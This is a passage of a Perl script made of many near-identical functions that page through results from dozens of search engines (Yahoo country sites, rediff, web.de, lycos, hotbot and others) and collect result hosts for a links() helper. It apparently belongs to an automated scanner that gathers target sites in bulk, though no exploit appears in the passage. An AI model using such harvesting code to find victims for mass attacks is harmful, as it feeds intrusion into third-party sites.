  3736.                 push(@list,@grep);
  3737.             }
  3738.         }
  3739.     }
  3740.     return @list;
  3741. }
  3742.  
  3743. sub yahooNL() {
  3744.     my @list;
  3745.     my $key = $_[0];
  3746.     for (my $i=1; $i<=500; $i+=10) {
  3747.         my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3748.         my $res = &search_engine_query($search);
  3749.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3750.             my $link = $1;
  3751.             if ($link!~ /yahooNL/){
  3752.                 my @grep = links($link);
  3753.                 push(@list,@grep);
  3754.             }
  3755.         }
  3756.     }
  3757.     return @list;
  3758. }
  3759.  
  3760. sub yahooDK() {
  3761.     my @list;
  3762.     my $key = $_[0];
  3763.     for (my $i=1; $i<=500; $i+=10) {
  3764.         my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3765.         my $res = &search_engine_query($search);
  3766.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3767.             my $link = $1;
  3768.             if ($link!~ /yahooDK/){
  3769.                 my @grep = links($link);
  3770.                 push(@list,@grep);
  3771.             }
  3772.         }
  3773.     }
  3774.     return @list;
  3775. }
  3776.  
  3777. sub yahooPH() {
  3778.     my @list;
  3779.     my $key = $_[0];
  3780.     for (my $i=1; $i<=500; $i+=10) {
  3781.         my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3782.         my $res = &search_engine_query($search);
  3783.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3784.             my $link = $1;
  3785.             if ($link!~ /yahooPH/){
  3786.                 my @grep = links($link);
  3787.                 push(@list,@grep);
  3788.             }
  3789.         }
  3790.     }
  3791.     return @list;
  3792. }
  3793.  
  3794. sub yahooCL() {
  3795.     my @list;
  3796.     my $key = $_[0];
  3797.     for (my $i=1; $i<=500; $i+=10) {
  3798.         my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3799.         my $res = &search_engine_query($search);
  3800.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3801.             my $link = $1;
  3802.             if ($link!~ /yahooCL/){
  3803.                 my @grep = links($link);
  3804.                 push(@list,@grep);
  3805.             }
  3806.         }
  3807.     }
  3808.     return @list;
  3809. }
  3810.  
  3811. sub yahooRU() {
  3812.     my @list;
  3813.     my $key = $_[0];
  3814.     for (my $i=1; $i<=500; $i+=10) {
  3815.         my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3816.         my $res = &search_engine_query($search);
  3817.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3818.             my $link = $1;
  3819.             if ($link!~ /yahooRU/){
  3820.                 my @grep = links($link);
  3821.                 push(@list,@grep);
  3822.             }
  3823.         }
  3824.     }
  3825.     return @list;
  3826. }
  3827.  
  3828. sub yahooCH() {
  3829.     my @list;
  3830.     my $key = $_[0];
  3831.     for (my $i=1; $i<=500; $i+=10) {
  3832.         my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3833.         my $res = &search_engine_query($search);
  3834.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3835.             my $link = $1;
  3836.             if ($link!~ /yahooCH/){
  3837.                 my @grep = links($link);
  3838.                 push(@list,@grep);
  3839.             }
  3840.         }
  3841.     }
  3842.     return @list;
  3843. }
  3844.  
  3845. sub yahooCO() {
  3846.     my @list;
  3847.     my $key = $_[0];
  3848.     for (my $i=1; $i<=500; $i+=10) {
  3849.         my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3850.         my $res = &search_engine_query($search);
  3851.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3852.             my $link = $1;
  3853.             if ($link!~ /yahooCO/){
  3854.                 my @grep = links($link);
  3855.                 push(@list,@grep);
  3856.             }
  3857.         }
  3858.     }
  3859.     return @list;
  3860. }
  3861.  
  3862. sub yahooFI() {
  3863.     my @list;
  3864.     my $key = $_[0];
  3865.     for (my $i=1; $i<=500; $i+=10) {
  3866.         my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3867.         my $res = &search_engine_query($search);
  3868.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3869.             my $link = $1;
  3870.             if ($link!~ /yahooFI/){
  3871.                 my @grep = links($link);
  3872.                 push(@list,@grep);
  3873.             }
  3874.         }
  3875.     }
  3876.     return @list;
  3877. }
  3878.  
  3879. sub yahooRO() {
  3880.     my @list;
  3881.     my $key = $_[0];
  3882.     for (my $i=1; $i<=500; $i+=10) {
  3883.         my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3884.         my $res = &search_engine_query($search);
  3885.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3886.             my $link = $1;
  3887.             if ($link!~ /yahooRO/){
  3888.                 my @grep = links($link);
  3889.                 push(@list,@grep);
  3890.             }
  3891.         }
  3892.     }
  3893.     return @list;
  3894. }
  3895.  
  3896. sub yahooVE() {
  3897.     my @list;
  3898.     my $key = $_[0];
  3899.     for (my $i=1; $i<=500; $i+=10) {
  3900.         my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3901.         my $res = &search_engine_query($search);
  3902.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3903.             my $link = $1;
  3904.             if ($link!~ /yahooVE/){
  3905.                 my @grep = links($link);
  3906.                 push(@list,@grep);
  3907.             }
  3908.         }
  3909.     }
  3910.     return @list;
  3911. }
  3912.  
  3913. sub yahooAT() {
  3914.     my @list;
  3915.     my $key = $_[0];
  3916.     for (my $i=1; $i<=500; $i+=10) {
  3917.         my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3918.         my $res = &search_engine_query($search);
  3919.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3920.             my $link = $1;
  3921.             if ($link!~ /yahooAT/){
  3922.                 my @grep = links($link);
  3923.                 push(@list,@grep);
  3924.             }
  3925.         }
  3926.     }
  3927.     return @list;
  3928. }
  3929.  
  3930. sub yahooPL() {
  3931.     my @list;
  3932.     my $key = $_[0];
  3933.     for (my $i=1; $i<=500; $i+=10) {
  3934.         my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3935.         my $res = &search_engine_query($search);
  3936.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3937.             my $link = $1;
  3938.             if ($link!~ /yahooPL/){
  3939.                 my @grep = links($link);
  3940.                 push(@list,@grep);
  3941.             }
  3942.         }
  3943.     }
  3944.     return @list;
  3945. }
  3946.  
  3947. sub yahooKR() {
  3948.     my @list;
  3949.     my $key = $_[0];
  3950.     for (my $i=1; $i<=500; $i+=10) {
  3951.         my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3952.         my $res = &search_engine_query($search);
  3953.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3954.             my $link = $1;
  3955.             if ($link!~ /yahooKR/){
  3956.                 my @grep = links($link);
  3957.                 push(@list,@grep);
  3958.             }
  3959.         }
  3960.     }
  3961.     return @list;
  3962. }
  3963.  
  3964. sub yahooNZ() {
  3965.     my @list;
  3966.     my $key = $_[0];
  3967.     for (my $i=1; $i<=500; $i+=10) {
  3968.         my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3969.         my $res = &search_engine_query($search);
  3970.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3971.             my $link = $1;
  3972.             if ($link!~ /yahooNZ/){
  3973.                 my @grep = links($link);
  3974.                 push(@list,@grep);
  3975.             }
  3976.         }
  3977.     }
  3978.     return @list;
  3979. }
  3980.  
  3981. sub yahooGR() {
  3982.     my @list;
  3983.     my $key = $_[0];
  3984.     for (my $i=1; $i<=500; $i+=10) {
  3985.         my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3986.         my $res = &search_engine_query($search);
  3987.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3988.             my $link = $1;
  3989.             if ($link!~ /yahooGR/){
  3990.                 my @grep = links($link);
  3991.                 push(@list,@grep);
  3992.             }
  3993.         }
  3994.     }
  3995.     return @list;
  3996. }
  3997.  
  3998. sub yahooPE() {
  3999.     my @list;
  4000.     my $key = $_[0];
  4001.     for (my $i=1; $i<=500; $i+=10) {
  4002.         my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  4003.         my $res = &search_engine_query($search);
  4004.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4005.             my $link = $1;
  4006.             if ($link!~ /yahooPE/){
  4007.                 my @grep = links($link);
  4008.                 push(@list,@grep);
  4009.             }
  4010.         }
  4011.     }
  4012.     return @list;
  4013. }
  4014.  
  4015. sub rediff() {
  4016.     my @list;
  4017.     my $key = $_[0];
  4018.     for (my $i=0; $i<=500; $i+=10) {
  4019.         my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  4020.         my $res = &search_engine_query($search);
  4021.         while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  4022.             if ($1 !~ /rediff\.com/){
  4023.             my $link = $1;
  4024.                                 my @grep = &links($link);
  4025.                                 push(@list,@grep);
  4026.                         }
  4027.         }
  4028.     }
  4029.     return @list;
  4030. }
  4031.  
  4032. sub bypass() {
  4033.                 my @list;
  4034.                 my $key = $_[0];
  4035.         my $search = ($bypass."?key=".&key($key));
  4036.         my $res = &search_engine_query($search);
  4037. #               while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  4038.                 while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
  4039.             if ($1 !~ /google/){
  4040.             my $link = $1;
  4041.                 my @grep = &links($link);
  4042.                 push(@list,@grep);
  4043.             }
  4044.         }
  4045.     return @list;
  4046. }
  4047.  
  4048. sub webde() {
  4049.   my @list;
  4050.   my $key = $_[0];
  4051.     for ($b=1; $b<=50; $b+=1) {
  4052.         my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  4053.         my $res = &search_engine_query($search);
  4054.                 if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  4055.         while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  4056.             my $link = $1;
  4057.             if ($link!~ /suche|web/){
  4058.                 my @grep = &links($link);
  4059.                 push(@list,@grep);
  4060.             }
  4061.         }
  4062.     }
  4063.     return @list;      
  4064. }
  4065.  
  4066. sub sapo(){
  4067.     my @list;
  4068.         my $key = $_[0];
  4069.         for ($i=1; $i<=50; $i+=1) {
  4070.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".&key($key)."&st=local");
  4071.         my $res = &search_engine_query($search);
  4072.                 if ($res !~ m/Next/i) {$i=50;}
  4073.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  4074.             if ($1 !~ /\.sapo\.pt/){
  4075.             my $link = $1;
  4076.                 my @grep = &links($link);
  4077.                 push(@list,@grep);
  4078.             }
  4079.         }
  4080.     }
  4081.     return @list;
  4082. }
  4083.  
  4084. sub seznam() {
  4085.         my @list;
  4086.         my $key = $_[0];
  4087.         for ($i=1; $i<=500; $i+=10) {
  4088.         my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$i);
  4089.         my $res = &search_engine_query($search);
  4090.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  4091.             if ($1 !~ /seznam/){
  4092.             my $link = $1;
  4093.                 my @grep = &links($link);
  4094.                 push(@list,@grep);
  4095.             }
  4096.         }
  4097.     }
  4098.     return @list;
  4099. }
  4100.  
  4101. sub onet() {
  4102.         my @list;
  4103.         my $key = $_[0];
  4104.         my $b   = 0;
  4105.         for ($b=1; $b<=50; $b+=1) {
  4106.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  4107.         my $res = &search_engine_query($search);
  4108.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  4109.             if ($1 !~ /webcache|query/){
  4110.             my $link = $1;
  4111.                 my @grep = &links($link);
  4112.                 push(@list,@grep);
  4113.             }
  4114.         }
  4115.     }
  4116.     return @list;
  4117. }
  4118.  
  4119. sub gigablast() {
  4120.     my @list;
  4121.     my $key = $_[0];
  4122.     for (my $i=1; $i<=1000; $i+=10){
  4123.         my $search = ("http://www.gigablast.com/search?k9t=429817&s=".$i."&q=".key($key));
  4124.         my $res = &search_engine_query($search);
  4125.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  4126.             my $link = $1;
  4127.             if ($link !~ /gigablast/){
  4128.                 my @grep = links($link);
  4129.                 push(@list,@grep);
  4130.             }
  4131.         }
  4132.     }
  4133.     return @list;
  4134. }
  4135.  
  4136. sub biglobe {
  4137.   my $key = $_[0];
  4138.   my @list;
  4139.   for ($b=1; $b<=500; $b+=10) {
  4140.     $num += $num;
  4141.     my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
  4142.     my $res = search_engine_query($search);
  4143.     while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  4144.         if ($1 !~ /biglobe/){
  4145.             my $link = $1;
  4146.                 my @grep = &links($link);
  4147.                 push(@list,@grep);
  4148.             }
  4149.         }
  4150.     }
  4151.     return @list;
  4152. }  
  4153.  
  4154. sub aol() {
  4155.   my @list;
  4156.   my $key = $_[0];
  4157.     for ($i=2; $i<=50; $i+=1) {
  4158.         my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$i);
  4159.         my $res = &search_engine_query($search);
  4160.         while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  4161.             if ($1 !~ /aol\.com/){
  4162.             my $link = $1;
  4163.                 my @grep = &links($link);
  4164.                 push(@list,@grep);
  4165.             }
  4166.         }
  4167.     }
  4168.     return @list;      
  4169. }
  4170.  
  4171. sub interia() {
  4172.     my @list;
  4173.     my $key = $_[0];
  4174.     for ($b = 0;$b<= 100; $b+= 10) {
  4175.            my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$b);
  4176.            my $res = search_engine_query($search);
  4177.            while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
  4178.                 my $link = $1;
  4179.                 if ($link!~ /google|interia/) {
  4180.                    my @grep=links($link);
  4181.                    push(@list,@grep);
  4182.            }
  4183.        }
  4184.    }
  4185.   return @list;
  4186. }
  4187.  
  4188. sub ricerca() {
  4189.     my @list;
  4190.     my $key = $_[0];
  4191.     for (my $i=1; $i<=1000; $i+=10){
  4192.         my $search = ("http://ricerca.virgilio.it/ricerca?qs=".key($key)."l&filter=1&site=&lr=&hits=10&offset=".$i);
  4193.         my $res = search_engine_query($search);
  4194.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  4195.             my $link = $1;
  4196.             if ($link !~ /virgilio|ricerca/){
  4197.                 $link =~ s/<//g;
  4198.                 $link =~ s/ //g;
  4199.                 my @grep = links($link);
  4200.                 push(@list,@grep);
  4201.             }
  4202.         }
  4203.     }
  4204.     return @list;
  4205. }
  4206.  
  4207. sub pagina(){
  4208.     my @lst;
  4209.     my $key = $_[0];
  4210.     my $i   = 0;
  4211.     for ($i=0; $i<=100; $i+=1){
  4212.         my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");          
  4213.         my $Res= search_engine_query($web);
  4214.         while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  4215.             if ($1 !~ /pagina|pagina's/){
  4216.                 my $k=$1;
  4217.                 my @grep=links($k);
  4218.                 push(@lst,@grep);
  4219.             }
  4220.         }
  4221.     }
  4222. return @lst;
  4223. }
  4224.  
  4225. sub alltheweb() {
  4226.     my @list;
  4227.     my $key = $_[0];
  4228.     for (my $i=0; $i<=1000; $i+=100) {
  4229.         my $search = ("http://us.yhs4.search.yahoo.com/yhs/search?fr=alltheweb&cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  4230.         my $res = &search_engine_query($search);
  4231.         while ($res =~ m/\*\*http%3a\/\/(.+?)\">/g) {
  4232.             my $link = $1;
  4233.             if ($link !~ /bingj|yahoo/) {
  4234.                 $link =~ s/ //g;
  4235.                 $link =~ s/%3f/\?/g;
  4236.                 my @grep = links($link);
  4237.                 push(@list,@grep);
  4238.             }
  4239.         }
  4240.     }
  4241.     return @list;
  4242. }
  4243.  
  4244. sub altavista() {
  4245.     my @list;
  4246.     my $key = $_[0];
  4247.     for (my $i=1; $i<=500; $i+=10){
  4248.         my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  4249.         my $res = &search_engine_query($search);
  4250.                 if ($res !~ /target=\"_self\">Succ/) {$i=500;}
  4251.         while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  4252.             if ($1 !~ /altavista/){
  4253.             my $link = $1;
  4254.                 $link =~ s/<//g;
  4255.                 $link =~ s/ //g;
  4256.                 my @grep = &links($link);
  4257.                 push(@list,@grep);
  4258.             }
  4259.         }
  4260.     }
  4261.     return @list;
  4262. }
  4263.  
  4264.  
  4265. sub lycos() {
  4266.   my @list;
  4267.   my $key = $_[0];
  4268.     for ($b=0; $b<=50; $b+=1) {
  4269.         my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  4270.         my $res = &search_engine_query($search);
  4271.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  4272.             if ($1 !~ /lycos\.com/){
  4273.             my $link = $1;
  4274.                 my @grep = &links($link);
  4275.                 push(@list,@grep);
  4276.             }
  4277.         }
  4278.     }
  4279.     return @list;      
  4280. }      
  4281.  
  4282. sub virgilio() {
  4283.   my @list;
  4284.   my $key = $_[0];
  4285.     for ($b=10; $b<=500; $b+=10) {
  4286.         my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  4287.         my $res = &search_engine_query($search);
  4288.                 if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
  4289.                 if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
  4290.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  4291.             if ($1 !~ /\.virgilio\.it/){
  4292.             my $link = $1;
  4293.                 my @grep = &links($link);
  4294.                 push(@list,@grep);
  4295.             }
  4296.         }
  4297.     }
  4298.     return @list;      
  4299. }      
  4300.  
  4301. sub hotbot() {
  4302.   my @list;
  4303.   my $key = $_[0];
  4304.     for ($b=0; $b<=50; $b+=1) {
  4305.         my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  4306.         my $res = &search_engine_query($search);
  4307.                 if ($res =~ m/had no web result/i) {$b=50;}
  4308.         while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  4309.             if ($1 !~ /hotbot\.com/){
  4310.             my $link = $1;
  4311.                 my @grep = &links($link);
  4312.                 push(@list,@grep);
  4313.             }
  4314.         }
  4315.     }
  4316.     return @list;      
  4317. }